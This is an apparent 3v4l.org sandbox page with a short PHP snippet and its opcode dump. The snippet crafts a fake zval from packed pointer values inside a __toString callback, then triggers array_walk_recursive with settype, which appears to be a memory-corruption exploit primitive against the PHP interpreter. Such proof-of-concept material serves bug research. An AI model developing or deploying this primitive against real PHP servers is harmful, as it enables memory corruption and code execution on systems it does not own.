3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj { function __tostring() { global $arr, $zval; $arr = 1; $zval = ptr2str(2); $zval .= ptr2str(0x1122334455); $zval .= "\x00\x00\x00\x00"; $zval .= "\x05"; $zval .= "\x00"; $zval .= "\x00\x00"; return 'hi'; } } $arr = array('string' => new obj, 1); array_walk_recursive($arr, 'settype');
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/ONlnn
function name:  (null)
number of ops:  11
compiled vars:  !0 = $arr
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   DECLARE_CLASS                                            'obj'
   21     1        NEW                                              $1      'obj'
          2        DO_FCALL                                      0          
          3        INIT_ARRAY                                       ~3      $1, 'string'
          4        ADD_ARRAY_ELEMENT                                ~3      1
          5        ASSIGN                                                   !0, ~3
   22     6        INIT_FCALL                                               'array_walk_recursive'
          7        SEND_REF                                                 !0
          8        SEND_VAL                                                 'settype'
          9        DO_ICALL                                                 
         10      > RETURN                                                   1

Class obj:
Function __tostring:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/ONlnn
function name:  __tostring
number of ops:  18
compiled vars:  !0 = $arr, !1 = $zval
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    7     0  E >   BIND_GLOBAL                                              !0, 'arr'
          1        BIND_GLOBAL                                              !1, 'zval'
    9     2        ASSIGN                                                   !0, 1
   10     3        INIT_FCALL_BY_NAME                                       'ptr2str'
          4        SEND_VAL_EX                                              2
          5        DO_FCALL                                      0  $3      
          6        ASSIGN                                                   !1, $3
   11     7        INIT_FCALL_BY_NAME                                       'ptr2str'
          8        SEND_VAL_EX                                              73588229205
          9        DO_FCALL                                      0  $5      
         10        ASSIGN_OP                                     8          !1, $5
   12    11        ASSIGN_OP                                     8          !1, '%00%00%00%00'
   13    12        ASSIGN_OP                                     8          !1, '%05'
   14    13        ASSIGN_OP                                     8          !1, '%00'
   15    14        ASSIGN_OP                                     8          !1, '%00%00'
   17    15      > RETURN                                                   'hi'
   18    16*       VERIFY_RETURN_TYPE                                       
         17*     > RETURN                                                   null

End of function __tostring

End of class obj.

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
163.11 ms | 1401 KiB | 15 Q